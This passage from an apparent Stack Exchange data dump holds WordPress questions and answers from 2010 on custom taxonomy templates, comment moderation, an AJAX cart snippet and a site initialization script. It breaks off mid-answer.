  <row Id="1703" PostTypeId="1" CreationDate="2010-09-12T14:45:36.597" Score="0" ViewCount="128" Body="&lt;p&gt;I have set up a CPT, lets say &quot;Movies&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'rewrite'   =&amp;gt; array( 'slug'=&amp;gt;'movies', 'with_front'=&amp;gt;FALSE )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a taxonomy &quot;Genre&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'rewrite'   =&amp;gt; array( 'slug'=&amp;gt;'movies/genre', 'with_front'=&amp;gt;FALSE )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i although tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'rewrite'   =&amp;gt; array( 'slug'=&amp;gt;'genre', 'with_front'=&amp;gt;TRUE )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy( 'category_movie', 'movie', $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works but... when i want to browse some movies e.g. in the category/taxonomy horror it does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assumed the file taxonomy-category_movie.php anf if not then taxonomy.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;category.php &lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR &lt;/p&gt;&#xA;&#xA;&lt;p&gt;tag.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT NO! WP always falls back to the index.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i though i will check what WP actually is doing and added&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_home() )&#xA;{&#xA;echo &quot;&amp;lt;br&amp;gt;IS HOME&quot;;&#xA;}&#xA;&#xA;if ( is_single() )&#xA;{&#xA; echo &quot;&amp;lt;br&amp;gt;IS SINGLE&quot;;&#xA;}&#xA;&#xA;if ( is_singular() )&#xA;{&#xA; echo &quot;&amp;lt;br&amp;gt;IS SINGULAR&quot;;&#xA;}&#xA;&#xA;if ( is_front_page() )&#xA;{&#xA; echo &quot;&amp;lt;br&amp;gt;IS FRONT PAGE&quot;;&#xA;}&#xA;&#xA;if ( is_page() )&#xA;{&#xA; echo &quot;&amp;lt;br&amp;gt;IS PAGE&quot;;&#xA;}&#xA;&#xA;if ( is_category() )&#xA;{&#xA; echo &quot;&amp;lt;br&amp;gt;IS CATEGORY&quot;;&#xA;}&#xA;&#xA;if ( is_tag() )&#xA;{&#xA; echo &quot;&amp;lt;br&amp;gt;IS TAG&quot;;&#xA;}&#xA;&#xA;if ( is_tax() )&#xA;{&#xA; echo &quot;&amp;lt;br&amp;gt;IS TAX&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but none of the messages made it into the browser....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully somebody knows the answer!!&lt;/p&gt;&#xA;" LastActivityDate="2010-09-12T22:41:42.343" Title="Which file/template is in charge of taxonomies for custom post types?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;template&gt;" AnswerCount="1" />
  <row Id="1704" PostTypeId="2" ParentId="1693" CreationDate="2010-09-12T15:20:16.057" Score="1" ViewCount="" Body="&lt;p&gt;ahh nvm, sorted it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;    $('.addtocart').submit(function(){&#xA;        var data = {action: 'my_special_action',post:$('.addtocart').serialize() };  &#xA;        $.post(&quot;&amp;lt;?php echo admin_url('admin-ajax.php'); ?&amp;gt;&quot;, data,&#xA;        function(response){&#xA;            $(&quot;.eshopajax&quot;).insertAfter(this).fadeIn(100).html(response).fadeOut(3000);&#xA;            setTimeout (clearCart,200); &#xA;            setTimeout (doRequest,500);  &#xA;            setTimeout (clearRequest,3000);  &#xA;        });&#xA;        function doRequest(){&#xA;            var tdata = {action: 'my_cart'};&#xA;            $.post(&quot;&amp;lt;?php echo admin_url('admin-ajax.php'); ?&amp;gt;&quot;, tdata,&#xA;            function(response){&#xA;                $(&quot;.ajaxcart&quot;).insertAfter(this).fadeIn(100).html(response);&#xA;            });&#xA;        }&#xA;        function clearRequest(){&#xA;            $(&quot;.eshopajax&quot;).empty();&#xA;        }&#xA;        function clearCart(){&#xA;            $(&quot;.ajaxcart&quot;).insert();&#xA;        }&#xA;        return false;&#xA;    });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2010-09-12T15:20:16.057" CommentCount="1" />
  <row Id="1705" PostTypeId="1" AcceptedAnswerId="2285" CreationDate="2010-09-12T16:48:27.810" Score="3" ViewCount="1050" Body="&lt;p&gt;Something which I have never seen covered is the best way to validate that specific form fields are filled out correctly for custom post type meta boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking to get expert opinions on how best to validate custom fields for any metaboxes that one might create. My interest are to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ensure field validation takes place before the post is published/updated&lt;/li&gt;&#xA;&lt;li&gt;utilizing a class/code which does not conflict with other wordpress javascript&lt;/li&gt;&#xA;&lt;li&gt;allows you to define specific fields as required while others could be optional&lt;/li&gt;&#xA;&lt;li&gt;validate fields based on customizable rules including regex for things like email format&lt;/li&gt;&#xA;&lt;li&gt;control the visual display of any errors/notices&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2011-08-12T05:24:11.140" Title="Validating Custom Meta Box Values &amp; Required Fields" Tags="&lt;custom-field&gt;&lt;customization&gt;&lt;javascript&gt;&lt;jquery&gt;" AnswerCount="1" FavoriteCount="6" />
  <row Id="1706" PostTypeId="2" ParentId="1123" CreationDate="2010-09-12T18:08:39.403" Score="1" ViewCount="" Body="&lt;p&gt;Most of WordPress caching functionality is set up with text (serialized if needed) in mind. Since you need to store binary data it is probably better to maintain own cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for location of cache I think it depends:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;for single personal installation I would pick directory that is short and makes nice URL, for example I store icons at &lt;code&gt;/images/icons/&lt;/code&gt; (&lt;code&gt;/images/&lt;/code&gt; being my directory for all images)&lt;/li&gt;&#xA;&lt;li&gt;for something that might be used across different installations or by other users I think &lt;code&gt;/plugins/myplugin/mycache/&lt;/code&gt; makes most sense if functionality is packaged as plugin (same but in theme directory, if part of theme)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-12T18:08:39.403" />
  <row Id="1707" PostTypeId="1" AcceptedAnswerId="1708" CreationDate="2010-09-12T19:43:56.397" Score="2" ViewCount="76" Body="&lt;p&gt;I have a blog that gets the usual spam, which Akismet is pretty good with. Not good enough for me to turn off moderation just yet. &#xA;I am wondering is there a way to &quot;whitelist&quot; a list of readers so their comments can skip moderation and just get posted?&lt;/p&gt;&#xA;" OwnerUserId="859" LastEditorUserId="859" LastEditorDisplayName="" LastEditDate="2011-01-20T05:19:33.427" LastActivityDate="2011-06-14T04:10:23.580" Title="Whitelisting Commenters" Tags="&lt;comments&gt;" AnswerCount="2" />
  <row Id="1708" PostTypeId="2" ParentId="1707" CreationDate="2010-09-12T19:54:22.167" Score="3" ViewCount="" Body="&lt;p&gt;In&#xA;&lt;code&gt;Settings&lt;/code&gt; &gt; &lt;code&gt;Discussion&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Uncheck &lt;code&gt;An administrator must always approve the comment&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check &lt;code&gt;Comment author must have a previously approved comment&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way comments from people (identified by combination of name, email and site) who have previously approved comments will not require moderation. Rest of comments will.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-12T19:54:22.167" />
  <row Id="1709" PostTypeId="2" ParentId="1707" CreationDate="2010-09-12T22:22:55.017" Score="1" ViewCount="" Body="&lt;p&gt;I find it better to use a different combination&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP Spam Free - stops most automated spam&#xA;hxxp://www.polepositionmarketing.com/library/wp-spamfree/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moderate first time commenters - stops first time human spammers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the odd person who has a problem with WP Spam Free (so far 2 people from 1000s) I also have a backup plan &lt;a href=&quot;http://wordpress.org/extend/plugins/comment-whitelist/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/comment-whitelist/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also blacklist spam pingback domains so I don't get to see their pingbacks, and on rare occasions I also do the same with an email address or IP addresses - for instance recently there was a whole datacenter with multiple servers having a conversations with themselves, so I just blocked based on the first 2 numbers in the IP address which were common to the servers and I made sure were assigned to the one datacenter.&lt;/p&gt;&#xA;" OwnerUserId="860" LastActivityDate="2010-09-12T22:22:55.017" />
  <row Id="1710" PostTypeId="2" ParentId="1703" CreationDate="2010-09-12T22:41:42.343" Score="2" ViewCount="" Body="&lt;p&gt;There's a giant diagram on the wordpress documentation showing how it chooses which file to display/load, as you can see here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/images/1/18/Template_Hierarchy.png&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/images/1/18/Template_Hierarchy.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/uqre5.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this doesn't help, my other suggestion is trying with the '_' removed from the taxonomy name, and to test with the rewrite option removed from your custom post type declaration. In my experience wordpress is fidgetty about type names that add punctuation so I try to keep to a singular word or Camel case. You may have more success with a &quot;genre&quot; taxonomy&lt;/p&gt;&#xA;" OwnerUserId="736" LastActivityDate="2010-09-12T22:41:42.343" />
  <row Id="1711" PostTypeId="2" ParentId="675" CreationDate="2010-09-12T22:43:22.747" Score="0" ViewCount="" Body="&lt;p&gt;Some solutions for you that would or might work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the published date when you update a post - it will be added back into the RSS feed.&#xA;If need be you can store the first post date in a custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However content gets syndicated a lot - what is really needed is an image that is created based upon a last modified date which links to the permalink.&#xA;If you are doing it that way, and this isn't something I have tested, you could have a feed based upon last modified date rather than publish date. It might need pinging. Google Blogsearch certainly keeps a copy of a whole feed content even if they are being told to not show it in the index using feedburner controls. There is a chance that index is based upon permalinks and not Atom feed items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Want to be extra crafty and get more backlinks... it could be justified to add a date to the end of a permalink when you change the publish date using a parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another alternative is to store last modified, and whenever a post if published you also ad recently modified posts to the bottom within the RSS, and also have something similar in the sidebar. I actually like that option because it adds more links.&lt;/p&gt;&#xA;" OwnerUserId="860" LastActivityDate="2010-09-12T22:43:22.747" />
  <row Id="1712" PostTypeId="2" ParentId="1320" CreationDate="2010-09-12T22:46:56.297" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Jonathan Sampson&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are &lt;strong&gt;several plugins to make Custom Post Types easier&lt;/strong&gt; and some allow you to define Custom Fields too, in no particular order:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wpeasyposttypes.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WP Easy Post Types&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/gd-taxonomies-tools/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;GD Custom Posts And Taxonomies Tools&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.strangework.com/wordpress-plugins/custom-post-type-ui/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Custom Post Type UI&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-fields/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Simple Fields&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As I mentioned above I've been working on one that does not provide a User Interface like these to instead an extensible API for complex field types (and simple ones too.) But after spending an hour trying to package it I realized it's not ready for distribution yet. Maybe in a few weeks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These plugins listed above should meet your basic needs for now and I will try to make mine compatible with the data stored by all of these in the future in case you do decided to use mine in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also might find this post a bit of help too:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/128/tips-for-using-wordpress-as-a-cms/187#187&quot;&gt;&lt;strong&gt;Tips for using WordPress as a CMS?&lt;/strong&gt;&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-12T22:46:56.297" CommentCount="2" />
  <row Id="1713" PostTypeId="2" ParentId="1507" CreationDate="2010-09-12T22:58:25.697" Score="4" ViewCount="" Body="&lt;p&gt;You can have WordPress on one server and scrape your content from another only including the content you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need RSS your would have to do the same with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Effectively it would be like serving static pages from a proxy or CDN, but only the bits you want to serve.&#xA;You could then also just use a javascript based comment system such as Disqus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really low resource use, becaue here are no databases on the server serving the content.&lt;/p&gt;&#xA;" OwnerUserId="860" LastActivityDate="2010-09-12T22:58:25.697" CommentCount="2" />
  <row Id="1714" PostTypeId="1" AcceptedAnswerId="1715" CreationDate="2010-09-13T01:43:02.783" Score="10" ViewCount="533" Body="&lt;p&gt;I am about to have to write &lt;strong&gt;a script to take a fresh install of WordPress 3.0.1 and add-in all the initial features for a website&lt;/strong&gt;. This is for a company that installs lots of similar websites and they need a standard starting point in configuration and data.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;I'm wondering if anyone else has already done this and if so if they can share their code?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I envision we will tweak this script each time&lt;/strong&gt; they create a new site so &lt;em&gt;hard-coding is fine&lt;/em&gt; although eventually (after enough experience) I'd like to convert into a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's the basic list of tasks&lt;/strong&gt; I think we'll need &lt;em&gt;(these assume I've started with WordPress 3.0.1 already installed and my custom plugins and custom theme copied into the appropriate directories)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Create users for the current site&#xA;// Delete Hello Dolly Plugin&#xA;// Download, Install and Activate repository plugins&#xA;// Activate Custom Plugins (assume the plugins are already there)&#xA;// Activate Custom Theme&#xA;// Delete Hello Post&#xA;// Delete Comment on Hello Post&#xA;// Create Pages with Starter Content&#xA;// Create Initial Custom Post Types with Starter Content&#xA;// Create Multiple Menus &#xA;// Create Menu Items for those Menus linking to Pages and wp-login.php&#xA;// Create Initial Taxonomy Terms&#xA;// Set Desired Permalinks Setting&#xA;// Set Static Front Page Setting&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's about it (though I may identify more as I get into it.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, I'm &lt;strong&gt;looking for code that I can just copy and modify&lt;/strong&gt; so I don't have don't have to figure out all these details myself &lt;em&gt;(which is not hard, just tedious and time consuming)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh one more thing, &lt;strong&gt;I have to start on this &lt;em&gt;now&lt;/em&gt;&lt;/strong&gt; so the sooner the better! :-)&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-14T02:22:15.347" LastActivityDate="2011-04-07T19:03:24.940" Title="Initialization Script for &quot;Standard&quot; Aspects of a WordPress Website?" Tags="&lt;installation&gt;" AnswerCount="4" CommentCount="4" FavoriteCount="17" />
  <row Id="1715" PostTypeId="2" ParentId="1714" CreationDate="2010-09-13T03:25:10.733" Score="10" ViewCount="" Body="&lt;p&gt;As I mentioned &lt;strong&gt;I was going to be start working on this need immediately&lt;/strong&gt; so I'm making headway. Given that I'm knocking these down I figured it's best to start posting them. &lt;em&gt;Still, if someone else can/will post (some of) the parts I haven't done I'll be happy to let you copy whatever I'd done you haven't and select your answer as the best answer.&lt;/em&gt; Until then I'm going to start posting the code.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;First Thing: Include &lt;code&gt;wp-load.php&lt;/code&gt;:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since we're creating a standalone file in the root of the website to run initialization that will only be used to &quot;bootstrap&quot; a site &lt;em&gt;(I called mine &lt;code&gt;/my-init.php&lt;/code&gt;)&lt;/em&gt; we start by including &lt;code&gt;/wp-load.php&lt;/code&gt; to load the WordPress API functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;include &quot;wp-load.php&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Creating Users for the Site&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;We'll use the &lt;code&gt;wp_insert_user()&lt;/code&gt; function located in &lt;code&gt;/wp-includes/registration.php&lt;/code&gt; to create our users. This file is not loaded by default so we'll have to load it ourselves with a call to &lt;code&gt;require_once()&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We'll also use the &lt;code&gt;get_user_by()&lt;/code&gt; function to first see if the user has already been created; no need to run the code twice if they haven't. &lt;strong&gt;&lt;em&gt;NOTE:&lt;/strong&gt; This is a pattern will follow; e.g. our script should not duplicate or overwrite anything if called multiple times, especially after users have added or changed data for any of the items we plan to initialize.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once( ABSPATH . WPINC . '/registration.php');     &#xA;$user = get_user_by('slug','johnsmith');&#xA;if (!is_object($user)) {&#xA;  wp_insert_user(array(&#xA;    'user_login'        =&amp;gt; 'johnsmith',&#xA;    'role'              =&amp;gt; 'administrator',&#xA;    'user_email'        =&amp;gt; 'johnsmith@example.com',&#xA;    'user_url'          =&amp;gt; 'http://example.com',&#xA;    'first_name'        =&amp;gt; 'John',&#xA;    'last_name'         =&amp;gt; 'Smith',&#xA;    'comment_shortcuts' =&amp;gt; '',&#xA;    'use_ssl'           =&amp;gt; '0',&#xA;    'user_pass'         =&amp;gt; '12345',&#xA;  ));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Deleting the &lt;em&gt;&quot;Hello Dolly&quot;&lt;/em&gt; Plugin&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To delete the &lt;em&gt;&quot;Hello Dolly&quot;&lt;/em&gt; plugin &lt;em&gt;(&lt;a href=&quot;http://books.google.com/books?id=sXZiavO78M4C&amp;amp;pg=PA213&amp;amp;lpg=PA213&amp;amp;dq=matt+mullenweg+hello+dolly&amp;amp;source=bl&amp;amp;ots=Zj62cP_fVM&amp;amp;sig=cydmzUpwGEIevB4kEjNUkSgxCcA&amp;amp;hl=en&amp;amp;ei=HZ6NTIHIMsKqlAeMyYFj&amp;amp;sa=X&amp;amp;oi=book_result&amp;amp;ct=result&amp;amp;resnum=2&amp;amp;ved=0CBcQ6AEwAQ#v=onepage&amp;amp;q=matt%20mullenweg%20hello%20dolly&amp;amp;f=false&quot; rel=&quot;nofollow&quot;&gt;sorry Matt&lt;/a&gt;)&lt;/em&gt; we'll use the &lt;code&gt;delete_plugins()&lt;/code&gt; function. &lt;code&gt;delete_plugins()&lt;/code&gt; expects an array of file paths that are relative to the &lt;code&gt;/wp-content/includes/&lt;/code&gt; directory. For the &lt;em&gt;Hello Dolly&lt;/em&gt; plugin the file path is simply &lt;code&gt;hello.php&lt;/code&gt; since the &lt;em&gt;Hello Dolly&lt;/em&gt; plugin isn't stored in it's own directory but for most plugins it will be in the form of &lt;code&gt;{$subdir}\{$filename}.php&lt;/code&gt;; i.e. the file path for Akismet is &lt;code&gt;akismet/akismet.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;code&gt;delete_plugins()&lt;/code&gt; is not available until we've included &lt;code&gt;/wp-admin/includes/plugin.php&lt;/code&gt; and there's also a dependency with &lt;code&gt;wp-admin/includes/file.php&lt;/code&gt; so we &lt;code&gt;require_once()&lt;/code&gt; both of those before we call &lt;code&gt;delete_plugins()&lt;/code&gt;. Finally we use &lt;code&gt;WP_PLUGIN_DIR&lt;/code&gt; constant combined with &lt;code&gt;file_exists()&lt;/code&gt; to see if the main plugin file exists before we attempt to delete it &lt;em&gt;(not that is would matter if we tried to delete a missing file, but it's more elegant to actually check first and you might need to know how for some other reason)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(ABSPATH . 'wp-admin/includes/plugin.php');&#xA;require_once(ABSPATH . 'wp-admin/includes/file.php');&#xA;if (file_exists(WP_PLUGIN_DIR . '/hello.php'))&#xA;  delete_plugins(array('hello.php'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note&lt;/em&gt; that sometimes &lt;code&gt;delete_plugins()&lt;/code&gt; will fail because of file permissions or maybe the fact a plugin is currently activated or some other reason that you'll first need to resolve but for our use-case &lt;em&gt;Hello Dolly&lt;/em&gt; goes away without a fight.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Downloading, Installing and Activating Repository Plugins&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I don't actually need to download plugins from the repository right now &lt;em&gt;(I was thinking it would just be a nice to have)&lt;/em&gt; we're going to let this requirement slide and revisit it later.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Activating Your Plugins&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Next up is activating our own custom plugins. We are assuming we have already uploaded them to the plugin directory and all we need to do it &lt;em&gt;activate&lt;/em&gt; them for WordPress. &lt;em&gt;(&lt;strong&gt;Note&lt;/strong&gt;: This technique will work for activating repository plugins too, it just won't download and install them first.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We'll use the &lt;code&gt;activate_plugin()&lt;/code&gt; function which like &lt;code&gt;delete_plugins()&lt;/code&gt; requires &lt;code&gt;/wp-admin/includes/plugin.php&lt;/code&gt; to be included but &lt;em&gt;does not&lt;/em&gt; need &lt;code&gt;/wp-admin/includes/file.php&lt;/code&gt; in case you are only needing to automate activation and not deletion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We'll again test for existence &lt;em&gt;(not need to activate if not there, eh?)&lt;/em&gt; and we'll also verify using the &lt;code&gt;is_plugin_active()&lt;/code&gt; function that the plugin has not already been activated. Note I used a few variables this time (&lt;code&gt;$plugin_filepath&lt;/code&gt; and &lt;code&gt;$plugin_dir&lt;/code&gt;) to keep from duplicating the plugin identifier numerous times. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our example that follows activates the plugin &lt;code&gt;my-custom-plugin.php&lt;/code&gt; which is located in the &lt;code&gt;my-custom-plugin&lt;/code&gt; subdirectory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(ABSPATH . 'wp-admin/includes/plugin.php');&#xA;$plugin_filepath = 'my-custom-plugin/my-custom-plugin.php';&#xA;$plugin_dir = WP_PLUGIN_DIR . &quot;/{$plugin_filepath}&quot;;&#xA;if (file_exists($plugin_dir) &amp;amp;&amp;amp; !is_plugin_active($plugin_filepath))&#xA;  activate_plugin($plugin_filepath);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Activating Your Preferred Theme&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Activating a theme is a bit easier than deleting or activating a plugin, comparatively speaking; one function call is all that is required: &lt;code&gt;switch_theme()&lt;/code&gt;. The &lt;code&gt;switch_theme()&lt;/code&gt; function accepts two &lt;em&gt;(2)&lt;/em&gt; parameters: the &lt;strong&gt;&lt;em&gt;template&lt;/em&gt;&lt;/strong&gt; and the &lt;strong&gt;&lt;em&gt;stylesheet&lt;/em&gt;&lt;/strong&gt;. Well, at least that's what the parameters are named. You might be more familiar with the terms &lt;a href=&quot;http://wordpress.stackexchange.com/questions/290/#291&quot;&gt;&lt;strong&gt;&lt;em&gt;Parent Theme&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;Child Theme&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you've created a &lt;em&gt;Child Theme&lt;/em&gt; with the default TwentyTen theme that comes with WordPress being the &lt;em&gt;Parent Theme&lt;/em&gt; and you called it &lt;em&gt;&quot;My Custom Theme&quot;&lt;/em&gt; and placed it into the &lt;code&gt;/wp-content/themes/my-custom-theme&lt;/code&gt; directory, you'd activate your theme using this call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch_theme('twentyten', 'my-custom-theme');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what if it is not a child theme? That's easy, just pass the &lt;strong&gt;directory slug/theme identifier&lt;/strong&gt; &lt;em&gt;(i.e. the name of subdirectory off of &lt;code&gt;/wp-content/themes&lt;/code&gt; that contains your theme)&lt;/em&gt; as both parameters.  Assuming you want to activate the &lt;a href=&quot;http://wordpress.org/extend/themes/thematic&quot; rel=&quot;nofollow&quot;&gt;Thematic theme&lt;/a&gt; by &lt;a href=&quot;http://themeshaper.com/about/&quot; rel=&quot;nofollow&quot;&gt;Ian D Stewart&lt;/a&gt; you've call &lt;code&gt;switch_theme()&lt;/code&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch_theme('thematic', 'thematic');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Personally I think it's a bit whacky to have to keep track of both details here so I wrote a function called &lt;code&gt;activate_my_theme()&lt;/code&gt; that first checks to make sure the the &lt;code&gt;get_current_theme()&lt;/code&gt; function and if not activates it. You just need to tell it the child theme &lt;em&gt;(aka the &quot;stylesheet&quot;)&lt;/em&gt; and it figures out the parent theme for you &lt;em&gt;(aka the &quot;template&quot;)&lt;/em&gt; by grabbing the details from the &lt;code&gt;get_theme()&lt;/code&gt; function. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;activate_my_theme('My Current Theme');&#xA;function activate_my_theme($theme_name) {&#xA;  if ($theme_name!=get_current_theme()) {&#xA;    $theme = get_theme($theme_name);&#xA;    switch_theme(&#xA;      $theme['Template'],&#xA;      $theme['Stylesheet']&#xA;    );&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;One key point to be aware of&lt;/strong&gt;; the &lt;code&gt;get_theme()&lt;/code&gt; function expects to be passed the &lt;strong&gt;&lt;em&gt;name&lt;/em&gt;&lt;/strong&gt; of the Child Theme, &lt;em&gt;NOT&lt;/em&gt; it's directory slug/theme identifier. &lt;em&gt;(The name comes from the &quot;Theme Name:&quot; section in the header of the theme's &lt;code&gt;style.css&lt;/code&gt; file. Fortunately the &lt;code&gt;get_current_theme()&lt;/code&gt; function returns the name too.)&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inspecting the header in the &lt;code&gt;style.css&lt;/code&gt; file of the WordPress default theme &lt;em&gt;Twenty Ten&lt;/em&gt; we see it's name is in fact &lt;code&gt;'Twenty Ten'&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Theme Name: Twenty Ten&#xA;Theme URI: http://wordpress.org/&#xA;Description: The 2010 theme for WordPress is stylish, customizable, simple, and readable -- make it yours with a custom menu, header image, and background. Twenty Ten supports six widgetized areas (two in the sidebar, four in the footer) and featured images (thumbnails for gallery posts and custom header images for posts and pages). It includes stylesheets for print and the admin Visual Editor, special styles for posts in the &quot;Asides&quot; and &quot;Gallery&quot; categories, and has an optional 